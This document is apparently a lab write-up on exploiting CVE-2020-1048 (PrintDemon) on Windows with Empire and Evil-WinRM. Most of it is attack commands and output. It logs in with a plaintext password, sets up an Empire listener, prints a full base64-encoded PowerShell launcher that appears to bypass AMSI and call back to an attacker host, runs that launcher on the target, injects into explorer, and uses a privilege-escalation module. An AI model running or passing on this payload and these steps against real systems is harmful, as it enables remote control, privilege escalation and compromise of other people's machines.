Dll Hijacking

DLL Hijacking
It is a vulnerability when a program attempts to load a DLL from a location and can't find it.

Tools Used :

Empire

sudo apt install powershell-empire

Evil-WinRM

git clone https://github.com/Hackplayers/evil-winrm.git

cd evil-winrm

gem install evil-winrm

Windows Remote Management(WinRM)

usage: evil-winrm -i <ip-address> -u <username>

Eg: evil-winrm -i 10.10.32.168 -u sam

Password : *azsxdcAZSXDCazsxdc*

Empire Setup

Commands for setting empire listener

uselistener http

set Host 10.4.0.94

set Port 495

execute

```
(Empire: uselistener/http) > set Host 10.4.0.94
[*] Set Host to 10.4.0.94
(Empire: uselistener/http) > set Port 495
[*] Set Port to 495
(Empire: uselistener/http) > execute
[+] Listener http successfully started
(Empire: uselistener/http) >
```

To go back to main menu
Command: main

Commands for setting up Empire stage

usestager multi/launcher

```
(Empire) > usestager multi/launcher
```

set Listener http

execute

```
(Empire: usestager/multi/launcher) > set Listener http
[*] Set Listener to http
(Empire: usestager/multi/launcher) > execute
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAHIAcwBJAG8ATgBUAGEAQgBsAGUALgBQAFMAVgBlAHIAcwBJAE8ATgAuAE0AYQBqAG
8AcgAgAC0ARwBlACAAMwApAHsAJABSAEUARgA9AFsAUgBlAEYAXQAuAEEAUwBzAGUAbQBCAEwAWQAuAEcAZQB0AFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBt
AC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBmAC4ARw
BFAFQARgBJAEUATABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkA
YwAnACkALgBTAGUAVABWAGEAbAB1AGUAKAAkAG4AVQBsAGwALAAkAFQAUgB1AEUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAH
MALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBlACcAKwAn
AG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQ
AoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4A
dAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgAiAE
cAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAnACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgAnACsAJwBsAGkAYwAsAFMAJwAr
ACcAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFMARQ
ByAHYASQBjAGUAUABPAGkATgB0AE0AYQBOAEEARwBlAHIAXQA6ADoARQBYAHAARQBjAHQAMQAwADAAQwBPAG4AVABpAE4AdQBlAD0AMAA7ACQARgA5ADQA
RQA9AE4ARQB3AC0ATwBiAGoAZQBDAFQAIABTAHkAUwB0AGUAbQAuAE4ARQBUAC4AVwBlAGIAQwBMAGkARQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAG
EALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2
ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQARQB4AHQALgBFAE4AYwBPAEQAaQBOAEcAXQA6ADoAVQ
BuAGkAQwBPAEQARQAuAEcAZQB0AFMAdABSAGkAbgBnACgAWwBDAG8ATgB2AGUAUgBUAF0AOgA6AEYAcgBvAG0AQgBhAFMAZQA2ADQAUwB0AHIASQBuAGcA
KAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAEwAZwBBADAAQQBDADQAQQBNAEEAQQB1AEEARABrAEEATgBBAE
EANgBBAEQAUQBBAE8AUQBBADEAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABm
ADkANABlAC4ASABFAGEARABlAFIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAZgA5ADQARQAuAFAAUgBPAFgAWQ
A9AFsAUwBZAHMAdABlAG0ALgBOAEUAdAAuAFcARQBiAFIAZQBRAHUARQBzAHQAXQA6ADoARABlAGYAYQB1AEwAVABXAGUAYgBQAHIATwB4AHkAOwAkAEYA
OQA0AGUALgBQAHIATwBYAHkALgBDAHIAZQBkAEUAbgB0AGkAYQBsAFMAIAA9ACAAWwBTAFkAcwB0AEUATQAuAE4AZQB0AC4AQwByAEUAZABlAE4AdABJAE
EATABDAGEAYwBoAEUAXQA6ADoARABlAEYAQQB1AGwAdABOAEUAdAB3AE8AUgBrAEMAUgBFAGQARQBOAHQASQBhAEwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQ
AHIAbwB4AHkAIAA9ACAAJABmADkANABlAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAUwB0AGUAbQAuAFQARQBYAHQALgBFAE4AQwBvAGQASQBuAGcAXQ
A6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBzACgAJwBpADcAfgB7AEYAZgBlAD8ASgAyADEALABIAG0AZABZAEkAVABFAGMAQAAjADQATQBwAEsA
KgBDADMANgAuAEcAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBHAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7AC
QASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBOAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBb
ACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASA
ArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0A
YgBYAE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABGADkANABlAC4ASABFAEEAZABFAFIAcwAuAE
EARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBYAEkAUQBZAGYAQQBjAGgAdABRAG8AUwBCAD0AYQBwAHAANQBVAGMAWABUAFIARQAyADEAdgBEAGIAQQB3
AEYAWQBoAEkAaABUAG4AbgBxAEEAPQAiACkAOwAkAEQAQQBUAGEAPQAkAGYAOQA0AEUALgBEAG8AVwBOAEwATwBhAGQARABhAHQAYQAoACQAcwBFAHIAKw
AkAFQAKQA7ACQASQB2AD0AJABEAGEAdABBAFsAMAAuAC4AMwBdADsAJABkAEEAdABBAD0AJABkAEEAdABhAFsANAAuAC4AJABkAGEAVABBAC4ATABlAG4A
ZwBUAGgAXQA7AC0ASgBvAGkAbgBbAEMAaABhAFIAWwBdAF0AKAAmACAAJABSACAAJABkAEEAVABhACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
(Empire: usestager/multi/launcher) >
```

Deploy an Agent
Using Evil-WinRM, executing the powershell command obtained from Empire

```
*Evil-WinRM* PS C:\Users\Sam\Documents> powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAFIAcwBJAE8Abg
TAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVQB0AGkAbABzACcAKQAuACIARwBFA
kARgAoACQANQA3AEEAZgAwACkAewAkADQAOABBAEMANgA9ACQANQA3AGEARgAwAC4ARwBFAHQAVgBBAEwAVQBlACgAJABOAFUAbABsACkA
wBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQA
AG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0AJABWAGEATAA9AFsAQwBPAEwATABFAGMAdABJAE8ATgBTAC4ARwBFAG4ARQBSAGkAYwAuAE
AcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAFYAYQBsAC4AQQBkAGQAKAAnAEUAbgBhAGIAbABlAFMAY
BmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBT
GAAbABEACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACk
bgBnAF0AKQApAH0AJABSAEUAZgA9AFsAUgBFAGYAXQAuAEEAUwBTAGUAbQBCAEwAWQAuAEcARQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZC
pAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAEEATAB1A
MATwBuAFQASQB0AHUAZQA9ADAAOwAkAGEAOQA0ADgANgA9AE4AZQBXAC0ATwBiAEoARQBjAFQAIABTAHkAUwB0AGUAbQAuAE4AZQB0AC4A
AA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQAZQBYAFQALgBFAG4AQwB
AFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAEwAZwBBAHkAQQBDADQAQQBNAFEAQQB4AEEAQwA0AEEATQBnAEEAeQBBAE
AZwBlAG4AdAAnACwAJAB1ACkAOwAkAGEAOQA0ADgANgAuAFAAcgBvAHgAeQA9AFsAUwB5AFMAVABFAG0ALgBOAEUAdAAuAFcARQBCAFIAZ
BlAFQALgBDAHIARQBkAGUAbgB0AEkAQQBMAEMAYQBDAEgARQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAEUARABF
F0AOgA6AEEAUwBDAEkASQAuAEcARQB0AEIAeQB0AGUAcwAoACcAIwAxAFMAPAB3AGgAOgBeAEAARgBtAE4AYgAwAC4AUgBDAGYAfgArAFA
XwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUAbgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUw
bACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbA
sAOQA5AEwAQwBNAGgAVwB6ACsAbgBtAEUAMwBVAD0AIgApADsAJABkAGEAdABBAD0AJABBADkANAA4ADYALgBEAG8AVwBOAGwAbwBBAGQA
gBPAEkAbgBbAEMASABBAFIAWwBdAF0AKAAmACAAJABSACAAJABkAEEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
```

The connection will be available at the Empire client end
To see the agents,
Command: Agent
Interaction with agent:

interact <agent name>

interact N8MHKW7S

```
[+] New agent N8MHKW7S checked in
[*] Sending agent (stage 2) to N8MHKW7S at 10.10.32.168
(Empire: usestager/multi/launcher) > agents

 Agents
 ID  Name      Language    Internal IP  Username           Process     PID   Delay  Last Seen                    Listener
 1   N8MHKW7S  powershell  0.0.0.0      DESKTOP-E920628\Sam powershell  4068  5/0.0  2022-01-21 11:04:32 IST      http
                                                                                   (a second ago)

(Empire: agents) > interact N8MHKW7S
(Empire: N8MHKW7S) >
```

Running Processes
Command: ps

```
(Empire: N8MHKW7S) > ps
[*] Tasked N8MHKW7S to run Task 1
[*] Task 1 results received

 PID   ProcessName          Arch  UserName  MemUsage
-------------------------------------------------------
 0     Idle                 x64   None      0.01 MB
 4     System               x64   None      0.14 MB
 68    Registry             x64   None      38.84 MB
 452   smss                 x64   None      0.91 MB
 560   wsmprovhost          x64   None      66.10 MB
 564   dwm                  x64   None      36.76 MB
 600   csrss                x64   None      4.25 MB
 604   svchost              x64   None      58.51 MB
 660   taskhostw            x64   None      13.93 MB
 668   wininit              x64   None      5.58 MB
 676   csrss                x64   None      4.11 MB
```

Migrating process
Command:

psinject <listnername> <processid>

Eg: psinject http explorer

```
(Empire: N8MHKW7S) > psinject http explorer
[*] Tasked N8MHKW7S to run Task 2
[*] Task 2 results received
Job started: 8BTXUL
(Empire: N8MHKW7S) >
```

This vulnerable machine belongs to the CVE CVE-2020-1048. With this vulnerability an attacker is able to perform the DLL hijack. Here in this task, we use the dll hijack to abuse the printer.

To get information regarding our target machine

Get-ItemProperty -Path “HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion” -Name ReleaseId

This will let the attacker to obtain the machine details

Invoke Printer Demon

Download the printer demon from github

https://github.com/BC-SECURITY/Invoke-PrintDemon

Now using module

usemodule privesc/printdemon

```
(Empire: N8MHKW7S) > usemodule powershell/privesc/printdemon
[*] Set Agent to N8MHKW7S
```

set LauncherCode <Base64 Encoded Launcher>

And finally execute the module.

Now the printing function is been stopped and now we have to restart the system.

For that

usemodule management/restart